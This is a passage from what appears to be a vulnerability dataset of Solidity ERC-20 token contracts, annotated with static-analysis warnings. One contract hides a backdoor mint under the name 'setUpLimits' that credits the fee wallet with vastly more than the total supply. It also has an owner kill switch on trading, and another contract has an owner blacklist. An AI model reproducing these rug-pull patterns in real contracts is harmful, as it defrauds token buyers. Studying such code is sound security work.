external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7971b15): TYSON.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 7971b15: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a7ea9f6): TYSON.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for a7ea9f6: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 17c3140): TYSON.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 17c3140: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b304088): TYSON.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for b304088: Consider ordering multiplication before division.\ncontract TYSON is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e87200b): TYSON._taxWallet should be immutable \n\t// Recommendation for e87200b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab3eade): TYSON._initialBuyTax should be constant \n\t// Recommendation for ab3eade: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18a66db): TYSON._initialSellTax should be constant \n\t// Recommendation for 18a66db: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ff6713): TYSON._finalBuyTax should be constant \n\t// Recommendation for 5ff6713: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a152f74): TYSON._finalSellTax should be constant \n\t// Recommendation for a152f74: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 440f75d): TYSON._reduceBuyTaxAt should be constant \n\t// Recommendation for 440f75d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d713b52): TYSON._reduceSellTaxAt should be constant \n\t// Recommendation for d713b52: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45cb8a5): TYSON._preventSwapBefore should be constant \n\t// Recommendation for 45cb8a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9fd2022): TYSON._transferTax should be constant \n\t// Recommendation for 9fd2022: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 6206900000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ironbite\";\n\n string private constant _symbol = unicode\"TYSON\";\n\n\t// divide-before-multiply | ID: a7ea9f6\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 17c3140\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a46442): TYSON._taxSwapThreshold should be constant \n\t// Recommendation for 7a46442: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 7971b15\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: a1a0e81): TYSON._maxTaxSwap should be constant \n\t// Recommendation for a1a0e81: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: b304088\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 78b0d75): TYSON.uniswapV2Router should be immutable \n\t// Recommendation for 78b0d75: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 93e5d55): TYSON.uniswapV2Pair should be immutable \n\t// Recommendation for 93e5d55: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c06242e): TYSON.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c06242e: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x3aDc080876EC824B602Dd2ffaa997b87621b80Dd);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: c06242e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d8ca1fb): TYSON.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d8ca1fb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8532510): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8532510: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 93ef51f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 93ef51f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8532510\n\t\t// reentrancy-benign | ID: 93ef51f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8532510\n\t\t// reentrancy-benign | ID: 93ef51f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f1d475b): TYSON._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f1d475b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 93ef51f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8532510\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 97ce15f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 97ce15f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 551922f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 551922f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 97ce15f\n\t\t\t\t// reentrancy-eth | ID: 551922f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 97ce15f\n\t\t\t\t\t// reentrancy-eth | ID: 551922f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 551922f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 551922f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 551922f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 97ce15f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 551922f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 551922f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 97ce15f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 97ce15f\n\t\t// reentrancy-events | ID: 8532510\n\t\t// reentrancy-benign | ID: 93ef51f\n\t\t// reentrancy-eth | ID: 551922f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 97ce15f\n\t\t// reentrancy-events | ID: 8532510\n\t\t// reentrancy-eth | ID: 551922f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 02bb1f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 02bb1f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7bc2fe1): TYSON.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7bc2fe1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e802552): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e802552: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 02bb1f7\n\t\t// unused-return | ID: 7bc2fe1\n\t\t// reentrancy-eth | ID: e802552\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 02bb1f7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e802552\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10706.sol",
"size_bytes": 21927,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 08b3b3e): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 08b3b3e: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 08b3b3e\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"AI Crystal Node\";\n\n string private constant _symbol = \"AICRYNODE\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6e12e15): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for 6e12e15: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: 6e12e15\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n from != address(this)\n ) {\n require(tradingOpen, \"Trading is not active.\");\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e31986a): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for e31986a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: e31986a\n payable(feeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8ff721c): MyTokenContract.createPairandPool() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8ff721c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b53cb12): MyTokenContract.createPairandPool() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b53cb12: Ensure that all the return values of the function calls are used.\n function createPairandPool() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 8ff721c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: b53cb12\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n }\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function closeTrading() external onlyOwner {\n tradingOpen = false;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10707.sol",
"size_bytes": 10936,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TRUMPKIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d5c8f7b): TRUMPKIN._taxWallet should be immutable \n\t// Recommendation for d5c8f7b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1012871): TRUMPKIN._initialBuyTax should be constant \n\t// Recommendation for 1012871: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e8a4e1): TRUMPKIN._initialSellTax should be constant \n\t// Recommendation for 1e8a4e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc5d3b7): TRUMPKIN._reduceBuyTaxAt should be constant \n\t// Recommendation for cc5d3b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88c461f): TRUMPKIN._reduceSellTaxAt should be constant \n\t// Recommendation for 88c461f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ff06bc): TRUMPKIN._preventSwapBefore should be constant \n\t// Recommendation for 4ff06bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TRUMPKIN\";\n\n string private constant _symbol = unicode\"TRUMPKIN\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d37e5d): TRUMPKIN._taxSwapThreshold should be constant \n\t// Recommendation for 4d37e5d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05ed429): TRUMPKIN._maxTaxSwap should be constant \n\t// Recommendation for 05ed429: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 